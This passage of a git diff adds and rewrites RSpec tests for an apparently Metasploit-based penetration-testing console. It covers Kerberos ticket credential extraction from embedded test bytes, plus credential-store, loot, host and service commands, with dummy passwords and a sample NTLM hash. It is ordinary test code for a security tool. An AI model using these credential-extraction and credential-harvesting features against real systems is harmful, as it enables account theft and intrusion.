"\x72\xf2\xef\xb7\xa6\xea\x5a\xca\x80\x51\x69\x4e\x9f\x6b\xf3\xaf" + + "\xd0\x06\x13\x70\xe5\x13\xfc\x3e\xdf\xc3\xb2\xbb\x7c\x40\xfa\xe3" + + "\x2f\xaf\xe6\xcb\x9d\xf6\xc9\x3a\x33\x2a\xca\x73\x75\x2b\x2a\x4a" + + "\x15\x06\x93\x3b\x74\xfa\x7d\x61\x88\xbc\x72\x54\xc5\xd3\x2d\xb0" + + "\xa5\xd9\xa9\xb5\xc5\xf7\x05\xc7\x61\x93\x6b\x4b\x04\x54\x4c\x44" + + "\x98\x07\x8a\x9b\xda\xcb\x00\xfa\x30\xb1\x35\x91\x37\x54\xf0\xdb" + + "\x77\x82\x3f\xc4\xb1\xcd\xaa\x76\x4d\x93\x4f\xd4\xe6\x74\x4d\x17" + + "\x11\xa2\xcd\xdf\x46\xbb\x56\x0f\x3a\x5a\xcd\x95\x1c\xd7\x12\x59" + + "\x23\x21\x4a\x0e\x09\xe8\xac\xbc\x1a\x10\x09\x3c\x04\x97\x5a\xfd" + + "\xe6\x2b\xcd\xe3\x9a\x97\x37\x67\x76\x19\xe8\x9c\xe2\x01\xa0\x42" + + "\x7d\x97\x86\xc5\xb0\x87\xb8\x36\x04\x2a\x8d\x4c\x30\x89\xf4\x4d" + + "\xc1\x14\xd3\xd4\x8f\xfd\x4e\x28\x9d\x33\x1b\x42\xd0\x58\x0b\x87" + + "\x2e\x87\xd5\x06\x66\x72\xb2\xa9\x1f\x94\x91\x67\xd4\x63\x89\x53" + + "\x57\x66\x6a\x88\x59\x42\x8b\x03\x87\xe7\x88\xa0\x8c\x51\xe2\x48" + + "\xf3\xb7\xe0\xd3\x2e\x58\xd7\xbc\xc7\xe1\x1d\xfa\x4b\xa9\xe7\x7b" + + "\xab\x0e\x1c\x48\x2f\x98\xf3\xb7\x5c\x44\xa0\xdf\xf0\xa3\xfd\x5f" + + "\xd4\xd2\xc4\xfc\xe6\xd6\x15\xd4\x73\xb8\x63\x8c\x3b\x42\x30\xb4" + + "\x21\x51\x61\x40\x97\x0f\xe4\xaf\x52\xd2\x09\xbf\x23\x1d\x0c\xcc" + + "\xbb\xc2\x4b\x86\xc1\xca\x14\xee\x90\x6c\xa6\x5c\x96\x10\x73\x90" + + "\x98\x63\xfd\x71\x3a\xaf\x1f\x60\x19\xec\xe4\xba\x6b\xf6\x0d\x89" + + "\x12\x5d\xd9\xa8\xcb\x1a\x7a\x89\x45\xfb\xa4\xaf\x52\xb5\x0b\x9b" + + "\xf4\x86\x04\xa3\xb5\xe7\xba\xe0\x19\x4a\xc6\x05\x78\xa7\x6d\xbd" + + "\x86\xe1\x99\x76\x0b\x11\x31\x16\xa8\x7a\x01\x44\x2d\xbc\x58\xd5" + + "\xc4\xc1\xd8\x9d\x49\x8a\xa5\xda\x78\x34\x3c\x81\x11\x31\xaa\x85" + + "\x9f\xf8\xad\x3b\xe0\x29\x48\xf3\x80\x08\x48\x1e\xc3\x53\x02\x06" + + "\xe2\x2c\x71\x96\xef\xca\x3b\xee\x0a\x64\xf6\x08\xeb\xbd\xc2\xf0" + + "\xa9\xd4\x2e\x08\xd1\x57\x0d\x0b\xf7\x09\x22\x01\xa2\xb3\xa7\x78" + + "\xe2\x06\x8e\x2e\xf3\x53\x32\x5b\x45\xb1\x0d\xc6\x61\xb8\x4c\x75" + + "\x07\x9a\x8b\x58\x53\xca\xb0\x83\x8f\x43\xb7\x24\xed\xff\x51\x81" + + "\xd0\x33\xa6\x9f\x73\x2b\xc4\x67\xa2\x60\x9c\xc1\xcb\xa1\x60\xf2" + + "\x88\xc1\xe3\xc7\x9b\x05\x2f\x02\x0d\x2d\x6e\x0b\x31\xe4\x61\x68" + + "\xa5\x87\x8e\x7c\x8b\xd7\x87\x8a\x3c\xf5\x90\x6e\x97\x5f\xa3\x50" + + "\x30\xe9\xd2\x30\xb3\x6e\xda\x84\x40\x02\x46\x84\x2c\x09\x19\x72" + + "\x0b\xa0\xce\x5e\x45\xad\xcd\x3e\x15\x3c\x34\xba\x8d\xc7\xfc\x3f" + + "\xf3\xf7\x37\xae\x49\xd7\x1d\x9b\x30\x4a\xc1\x1f\x15\x07\xd2\xda" + + "\xb8\x7b\xe3\x9a\xe7\xb5\xeb\xb2\x8b\xb6\x17\x1a\xab\x31\xce\xec" + + "\xed\xe6\xab\xd5\x4c\xb6\x57\x88\xb0\x5d\x41\x09\x61\x34\x76\x47" + + "\x7e\x93\xef\xc6\x01\x1b\x4b\x85\x0e\xe0\x92\xec\xd1\x1f\x13\xba" + + "\x86\x6e\x67\xa2\xbb\xa1\xdd\x52\x42\x63\x45\x7d\x5f\xd2\xf9\x83" + + "\x57\x1d\x85\xc4\xba\x39\x7d\xc7\x24\xd7\x2d\xd4\xa6\x81\xf2\x30" + + "\x81\xef\xa0\x03\x02\x01\x17\xa2\x81\xe7\x04\x81\xe4\xdf\xff\xa1" + + "\xce\x19\xe6\x14\x06\x47\x01\xc1\xb0\x57\x24\xa8\xce\x7f\xb7\x21" + + "\xe5\x8e\x47\xa8\x8e\x8c\xca\xd9\x57\x0f\xf1\xf7\x09\x8f\x8c\x55" + + "\x2d\xad\x62\x2e\xb0\xf5\x2f\xe4\xc4\x5e\xb5\x60\xde\x4f\xa7\x84" + + "\xbc\x75\x02\xa6\x97\xfa\x68\x67\x1d\xed\xba\x4a\x49\x21\xf9\x93" + + "\x5b\xd8\x8c\xce\xe2\x0a\x80\xc4\x0d\xc7\xc7\x2c\xdd\x4f\x74\x33" + + "\xd5\xa7\x40\xf3\x5a\x07\x49\x40\x47\x1c\x30\xef\x82\xfd\x11\x28" + + "\xa9\x13\xd4\x63\x48\xe3\x5b\xda\x15\xc9\x73\xb2\xc3\x25\xc9\x71" + + "\x24\x06\x3d\x87\x5e\x46\xbb\xd6\xb1\x99\x18\x4b\x70\xbd\x3c\x0e" + + "\xda\xba\x7a\x50\x52\x23\x75\x10\x93\x06\xce\xfb\x32\xc2\xbb\x35" + + "\x48\xc3\xc3\xc2\xd9\x30\xe3\x40\xc6\xc7\x67\x90\x29\xdc\x5d\xcb" + + "\x92\x58\x45\x04\x07\x0e\xba\xce\x8b\xa0\x7e\x62\x20\xbf\x2d\x5c" + + "\xbd\xb9\xc8\x61\x25\x77\x80\x60\xd1\xd5\x29\x18\x92\x17\x41\x3a" + + "\x3f\x42\xcb\xd1\x57\x25\x06\x8b\x2d\x74\x15\x63\x54\x7f\xa9\xb0" + + "\x73\x2b\x40\x63\x06\x47\xbe\x03\xf6\x37\x97\xe9\x24\x23\xc0\x38" + + "\x62" + end + + let(:valid_subkey) { 'AAAABBBBCCCCDDDD' } + let(:invalid_subkey) { '1234567890123456' } + + describe "#extract_kerb_creds" do + context "when extracting from a TGS response" do + context "when using a valid key" do + it "returns the extracted Rex::Proto::Kerberos::CredentialCache::Cache" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) + expect(subject.extract_kerb_creds(response, valid_subkey)).to be_a(Rex::Proto::Kerberos::CredentialCache::Cache) + end + end + + context "when using an invalid key" do + it "raises RuntimeError" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) + expect { subject.extract_kerb_creds(response, invalid_subkey) }.to raise_error(RuntimeError) + end + end + end + + context "when extracting from an AS response" do + it "returns the extracted Rex::Proto::Kerberos::CredentialCache::Cache" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + expect { subject.extract_kerb_creds(response, valid_subkey) }.to raise_error(RuntimeError) + end + end + end +end + diff --git a/spec/lib/msf/service_state_spec.rb b/spec/lib/msf/service_state_spec.rb new file mode 100644 index 0000000000..cf81bc345f --- /dev/null +++ b/spec/lib/msf/service_state_spec.rb @@ -0,0 +1,35 @@ +RSpec.describe Msf::ServiceState do + context 'CONSTANTS' do + context 'Closed' do + subject(:closed) { + described_class::Closed + } + + it { is_expected.to eq('closed') } + end + + context 'Filtered' do + subject(:filtered) { + described_class::Filtered + } + + it { is_expected.to eq('filtered') } + end + + context 'Open' do + subject(:open) { + described_class::Open + } + + it { is_expected.to eq('open') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + + it { is_expected.to eq('unknown') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb deleted file mode 100644 index 69693eb5b8..0000000000 --- a/spec/lib/msf/ui/command_dispatcher/core_spec.rb +++ /dev/null @@ -1,98 +0,0 @@ -require 'spec_helper' - -require 'msf/ui' -require 'msf/ui/console/module_command_dispatcher' -require 'msf/ui/console/command_dispatcher/core' - -describe Msf::Ui::Console::CommandDispatcher::Core do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' - - subject(:core) do - described_class.new(driver) - end - - context '#search_modules_sql' do - def search_modules_sql - core.search_modules_sql(match) - end - - let(:match) do - '' - end - - it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original - - search_modules_sql - end - - it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) - - search_modules_sql - end - - context 'with matching Mdm::Module::Details' do - let(:match) do - module_detail.fullname - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'printed table' do - def cell(table, row, column) - row_line_number = 6 + row - line_number = 0 - - cell = nil - - table.each_line do |line| - if line_number == row_line_number - # strip prefix and postfix - padded_cells = line[3...-1] - cells = padded_cells.split(/\s{2,}/) - - cell = cells[column] - break - end - - line_number += 1 - end - - cell - end - - let(:printed_table) do - table = '' - - core.stub(:print_line) do |string| - table = string - end - - search_modules_sql - - table - end - - it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) - end - - it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) - end - - it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) - end - - it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) - end - end - end - end -end diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb deleted file mode 100644 index f5dde21917..0000000000 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ /dev/null @@ -1,268 +0,0 @@ -require 'spec_helper' - -require 'msf/ui' -require 'msf/ui/console/command_dispatcher/db' - -describe Msf::Ui::Console::CommandDispatcher::Db do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' - - subject(:db) do - described_class.new(driver) - end - - describe "#cmd_workspace" do - describe "-h" do - it "should show a help message" do - db.cmd_workspace "-h" - @output.should =~ [ - "Usage:", - " workspace List workspaces", - " workspace [name] Switch workspace", - " workspace -a [name] ... Add workspace(s)", - " workspace -d [name] ... Delete workspace(s)", - " workspace -r <old> <new> Rename workspace", - " workspace -h Show this help information" - ] - end - end - end - - describe "#cmd_hosts" do - describe "-h" do - it "should show a help message" do - db.cmd_hosts "-h" - @output.should =~ [ - "Usage: hosts [ options ] [addr1 addr2 ...]", - "OPTIONS:", - " -a,--add Add the hosts instead of searching", - " -d,--delete Delete the hosts instead of searching", - " -c <col1,col2> Only show the given columns (see list below)", - " -h,--help Show this help information", - " -u,--up Only show hosts which are up", - " -o <file> Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" - ] - end - end - end - - describe "#cmd_services" do - describe "-h" do - it "should show a help message" do - db.cmd_services "-h" - @output.should =~ [ - "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", - " -a,--add Add the services instead of searching", - " -d,--delete Delete the services instead of searching", - " -c <col1,col2> Only show the given columns", - " -h,--help Show this help information", - " -s <name1,name2> Search for a list of service names", - " -p <port1,port2> Search for a list of ports", - " -r <protocol> Only show [tcp|udp] services", - " -u,--up Only show services which are up", - " -o <file> Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: created_at, info, name, port, proto, state, updated_at" - ] - end - end - describe "-p" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are on a given port" do - db.cmd_services "-p", "1024,1025" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " - ] - end - end - describe "-np" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { - db.cmd_services "-np", "1024" - - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1025 snmp open ", - "192.168.0.1 1026 snmp open " - ] - } - end - end - end - - describe "#cmd_vulns" do - describe "-h" do - it "should show a help message" do - db.cmd_vulns "-h" - @output.should =~ [ - "Print all vulnerabilities in the database", - "Usage: vulns [addr range]", - " -h,--help Show this help information", - " -p,--port <portspec> List vulns matching this port spec", - " -s <svc names> List vulns matching these service names", - " -S,--search Search string to filter by", - " -i,--info Display Vuln Info", - "Examples:", - " vulns -p 1-65536 # only vulns with associated services", - " vulns -p 1-65536 -s http # identified as http on any port" - ] - end - end - - end - - describe "#cmd_notes" do - describe "-h" do - it "should show a help message" do - db.cmd_notes "-h" - @output.should =~ [ - "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", - " -a,--add Add a note to the list of addresses, instead of listing", - " -d,--delete Delete the hosts instead of searching", - " -n,--note <data> Set the data for a new note (only with -a)", - " -t <type1,type2> Search for a list of types", - " -h,--help Show this help information", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Regular expression to match for search", - " --sort <field1,field2> Fields to sort by (case sensitive)", - "Examples:", - " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", - " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", - " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" - ] - - end - end - - end - - describe "#cmd_loot" do - describe "-h" do - it "should show a help message" do - db.cmd_loot "-h" - @output.should =~ [ - "Usage: loot <options>", - " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", - " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", - " Del: loot -d [addr1 addr2 ...]", - " -a,--add Add loot to the list of addresses, instead of listing", - " -d,--delete Delete *all* loot matching host and type", - " -f,--file File with contents of the loot to add", - " -i,--info Info of the loot to add", - " -t <type1,type2> Search for a list of types", - " -h,--help Show this help information", - " -S,--search Search string to filter by" - ] - end - end - - end - - describe "#cmd_creds" do - describe "-h" do - it "should show a help message" do - db.cmd_creds "-h" - @output.should =~ [ - "Usage: creds [addr range]", - "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", - " -h,--help Show this help information", - " -o <file> Send output to a file in csv format", - " -p,--port <portspec> List creds matching this port spec", - " -s <svc names> List creds matching these service names", - " -t,--type <type> Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - " -c,--columns Columns of interest", - "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", - " creds 1.2.3.4/24 # nmap host specification", - " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" - ] - end - end - end - - describe "#cmd_db_import" do - describe "-h" do - it "should show a help message" do - db.cmd_db_import "-h" - @output.should =~ [ - "Usage: db_import <filename> [file2...]", - "Filenames can be globs like *.xml, or **/*.xml which will search recursively", - "Currently supported file types include:", - " Acunetix XML", - " Amap Log", - " Amap Log -m", - " Appscan XML", - " Burp Session XML", - " Foundstone XML", - " IP360 ASPL", - " IP360 XML v3", - " Microsoft Baseline Security Analyzer", - " Nessus NBE", - " Nessus XML (v1 and v2)", - " NetSparker XML", - " NeXpose Simple XML", - " NeXpose XML Report", - " Nmap XML", - " OpenVAS Report", - " Qualys Asset XML", - " Qualys Scan XML", - " Retina XML" - ] - end - end - end - - describe "#cmd_db_export" do - describe "-h" do - it "should show a help message" do - db.cmd_db_export "-h" - @output.should =~ [ - "Usage:", - " db_export -f <format> [-a] [filename]", - " Format can be one of: xml, pwdump" - ] - end - end - end - - describe "#db_nmap" do - it "should have some specs describing its output" - end - - describe "#db_rebuild_cache" do - it "should have some specs describing its output" - end -end diff --git a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb similarity index 100% rename from spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb rename to spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb new file mode 100644 index 0000000000..234ae76c3a --- /dev/null +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -0,0 +1,166 @@ +require 'spec_helper' + +require 'msf/ui' +require 'msf/ui/console/module_command_dispatcher' +require 'msf/ui/console/command_dispatcher/core' + +describe Msf::Ui::Console::CommandDispatcher::Core do + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' + + subject(:core) do + described_class.new(driver) + end + + context '#search_modules_sql' do + def search_modules_sql + core.search_modules_sql(match) + end + + let(:match) do + '' + end + + it 'should generate Matching Modules table' do + core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + + search_modules_sql + end + + it 'should call Msf::DBManager#search_modules' do + db_manager.should_receive(:search_modules).with(match).and_return([]) + + search_modules_sql + end + + context 'with matching Mdm::Module::Details' do + let(:match) do + module_detail.fullname + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'printed table' do + def cell(table, row, column) + row_line_number = 6 + row + line_number = 0 + + cell = nil + + table.each_line do |line| + if line_number == row_line_number + # strip prefix and postfix + padded_cells = line[3...-1] + cells = padded_cells.split(/\s{2,}/) + + cell = cells[column] + break + end + + line_number += 1 + end + + cell + end + + let(:printed_table) do + table = '' + + core.stub(:print_line) do |string| + table = string + end + + search_modules_sql + + table + end + + it 'should have fullname in first column' do + cell(printed_table, 0, 0).should include(module_detail.fullname) + end + + it 'should have disclosure date in second column' do + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.strftime("%Y-%m-%d")) + end + + it 'should have rank name in third column' do + cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + end + + it 'should have name in fourth column' do + cell(printed_table, 0, 3).should include(module_detail.name) + end + end + end + end + + it { is_expected.to respond_to :cmd_get } + it { is_expected.to respond_to :cmd_getg } + + def set_and_test_variable(name, framework_value, module_value, framework_re, module_re) + # set the current module + allow(core).to receive(:active_module).and_return(mod) + # always assume set variables validate (largely irrelevant because ours are random) + allow(driver).to receive(:on_variable_set).and_return(true) + # the specified global value + core.cmd_setg(name, framework_value) if framework_value + # set the specified local value + core.cmd_set(name, module_value) if module_value + + # test the global value if specified + if framework_re + @output = [] + core.cmd_getg(name) + @output.join.should =~ framework_re + end + + # test the local value if specified + if module_re + @output = [] + core.cmd_get(name) + @output.join.should =~ module_re + end + end + + describe "#cmd_get and #cmd_getg" do + describe "without arguments" do + it "should show the correct help message" do + core.cmd_get + @output.join.should =~ /Usage: get / + @output = [] + core.cmd_getg + @output.join.should =~ /Usage: getg / + end + end + + describe "with arguments" do + let(:name) { ::Rex::Text.rand_text_alpha(10).upcase } + + context "with an active module" do + let(:mod) do + mod = ::Msf::Module.new + mod.send(:initialize, {}) + mod + end + + it "should show no value if not set in the framework or module" do + set_and_test_variable(name, nil, nil, /^#{name} => $/, /^#{name} => $/) + end + + it "should show the correct value when only the module has this variable" do + set_and_test_variable(name, nil, 'MODULE', /^#{name} => $/, /^#{name} => MODULE$/) + end + + it "should show the correct value when only the framework has this variable" do + set_and_test_variable(name, 'FRAMEWORK', nil, /^#{name} => FRAMEWORK$/, /^#{name} => $/) + end + + it "should show the correct value when both the module and the framework have this variable" do + set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/) + end + end + end + end +end diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb new file mode 100644 index 0000000000..02c152e66a --- /dev/null +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -0,0 +1,550 @@ +require 'spec_helper' + +require 'msf/ui' +require 'msf/ui/console/command_dispatcher/db' + +describe Msf::Ui::Console::CommandDispatcher::Db do + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' + + subject(:db) do + described_class.new(driver) + end + + it { is_expected.to respond_to :active? } + it { is_expected.to respond_to :arg_host_range } + it { is_expected.to respond_to :arg_port_range } + it { is_expected.to respond_to :cmd_creds_help } + it { is_expected.to respond_to :cmd_creds_tabs } + it { is_expected.to respond_to :cmd_db_autopwn } + it { is_expected.to respond_to :cmd_db_autopwn_help } + it { is_expected.to respond_to :cmd_db_connect } + it { is_expected.to respond_to :cmd_db_connect_help } + it { is_expected.to respond_to :cmd_db_disconnect } + it { is_expected.to respond_to :cmd_db_disconnect_help } + it { is_expected.to respond_to :cmd_db_driver } + it { is_expected.to respond_to :cmd_db_driver_help } + it { is_expected.to respond_to :cmd_db_export_help } + it { is_expected.to respond_to :cmd_db_hosts_help } + it { is_expected.to respond_to :cmd_db_import_help } + it { is_expected.to respond_to :cmd_db_import_tabs } + it { is_expected.to respond_to :cmd_db_nmap } + it { is_expected.to respond_to :cmd_db_notes } + it { is_expected.to respond_to :cmd_db_notes_help } + it { is_expected.to respond_to :cmd_db_rebuild_cache } + it { is_expected.to respond_to :cmd_db_rebuild_cache_help } + it { is_expected.to respond_to :cmd_db_services } + it { is_expected.to respond_to :cmd_db_services_help } + it { is_expected.to respond_to :cmd_db_status } + it { is_expected.to respond_to :cmd_db_vulns } + it { is_expected.to respond_to :cmd_db_vulns_help } + it { is_expected.to respond_to :cmd_hosts } + it { is_expected.to respond_to :cmd_hosts_help } + it { is_expected.to respond_to :cmd_loot_help } + it { is_expected.to respond_to :cmd_notes_help } + it { is_expected.to respond_to :cmd_services_help } + it { is_expected.to respond_to :cmd_vulns_help } + it { is_expected.to respond_to :cmd_workspace_help } + it { is_expected.to respond_to :cmd_workspace_tabs } + it { is_expected.to respond_to :commands } + it { is_expected.to respond_to :creds_add } + it { is_expected.to respond_to :creds_add_non_replayable_hash } + it { is_expected.to respond_to :creds_add_ntlm_hash } + it { is_expected.to respond_to :creds_add_password } + it { is_expected.to respond_to :creds_add_ssh_key } + it { is_expected.to respond_to :creds_search } + it { is_expected.to respond_to :db_check_driver } + it { is_expected.to respond_to :db_connect_postgresql } + it { is_expected.to respond_to :db_find_tools } + it { is_expected.to respond_to :db_parse_db_uri_postgresql } + it { is_expected.to respond_to :deprecated_commands } + it { is_expected.to respond_to :each_host_range_chunk } + it { is_expected.to respond_to :make_sortable } + it { is_expected.to respond_to :name } + it { is_expected.to respond_to :report_store_local } + it { is_expected.to respond_to :set_rhosts_from_addrs } + + describe "#cmd_creds" do + let(:username) { "thisuser" } + let(:password) { "thispass" } + + describe "-u" do + let(:nomatch_username) { "thatuser" } + let(:nomatch_password) { "thatpass" } + let(:blank_username) { "" } + let(:blank_password) { "" } + let(:nonblank_username) { "nonblank_user" } + let(:nonblank_password) { "nonblank_pass" } + + let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } + + before(:each) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) + pub = FactoryGirl.create(:metasploit_credential_username, username: username) + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) + nonblank_priv = FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: nonblank_priv, + public: blank_pub, + realm: nil, + workspace: framework.db.workspace) + nonblank_pub = FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) + blank_priv = FactoryGirl.create(:metasploit_credential_password, data: blank_password) + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: blank_priv, + public: nonblank_pub, + realm: nil, + workspace: framework.db.workspace) + end + + context "when the credential is present" do + it "should show a user that matches the given expression" do + db.cmd_creds("-u", username) + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " thisuser thispass Password", + ] + end + + it 'should match a regular expression' do + subject.cmd_creds("-u", "^#{username}$") + @output.should =~ + [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " thisuser thispass Password", + ] + end + + it 'should return nothing for a non-matching regular expression' do + subject.cmd_creds("-u", "^#{nomatch_username}$") + @output.should =~ + [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + ] + end + + context "and when the username is blank" do + it "should show a user that matches the given expression" do + db.cmd_creds("-u", blank_username) + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " nonblank_pass Password", + ] + end + end + context "and when the password is blank" do + it "should show a user that matches the given expression" do + db.cmd_creds("-P", blank_password) + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " nonblank_user Password", + ] + end + end + end + + context "when the credential is absent" do + context "due to a nonmatching username" do + it "should return a blank set" do + db.cmd_creds("-u", nomatch_username) + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + ] + end + end + context "due to a nonmatching password" do + it "should return a blank set" do + db.cmd_creds("-P", nomatch_password) + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + ] + end + end + end + end + + describe "-t" do + context "with an invalid type" do + it "should print the list of valid types" do + db.cmd_creds("-t", "asdf") + @error.should =~ [ + "Unrecognized credential type asdf -- must be one of password,ntlm,hash" + ] + end + end + + context "with valid types" do + let(:ntlm_hash) { "1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c" } + + let!(:pub) do + FactoryGirl.create(:metasploit_credential_username, username: username) + end + let!(:password_core) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end + +=begin + # Somehow this is hitting a unique constraint on Cores with the same + # Public, even though it has a different Private. Skip for now + let!(:ntlm_core) do + priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end + let!(:nonreplayable_core) do + priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end +=end + + after(:each) do + #ntlm_core.destroy + password_core.destroy + #nonreplayable_core.destroy + end + + context "password" do + it "should show just the password" do + db.cmd_creds("-t", "password") + # Table matching really sucks + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ] + end + end + + context "ntlm" do + it "should show just the ntlm" do + skip "Weird uniqueness constraint on Core (workspace_id, public_id)" + + db.cmd_creds("-t", "ntlm") + # Table matching really sucks + @output.should =~ [ + "Credentials", + "===========", + "", + "host service public private realm private_type", + "---- ------- ------ ------- ----- ------------", + " thisuser #{ntlm_hash } NTLM hash" + ] + end + end + + end + end + + describe "add-password" do + context "when no core exists" do + it "should add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to change{ Metasploit::Credential::Core.count }.by 1 + end + end + context "when a core already exists" do + before(:each) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) + pub = FactoryGirl.create(:metasploit_credential_username, username: username) + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end + it "should not add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to_not change{ Metasploit::Credential::Core.count } + end + end + end + + end + + describe "#cmd_db_export" do + describe "-h" do + it "should show a help message" do + db.cmd_db_export "-h" + @output.should =~ [ + "Usage:", + " db_export -f <format> [-a] [filename]", + " Format can be one of: xml, pwdump" + ] + end + end + end + + describe "#cmd_db_import" do + describe "-h" do + it "should show a help 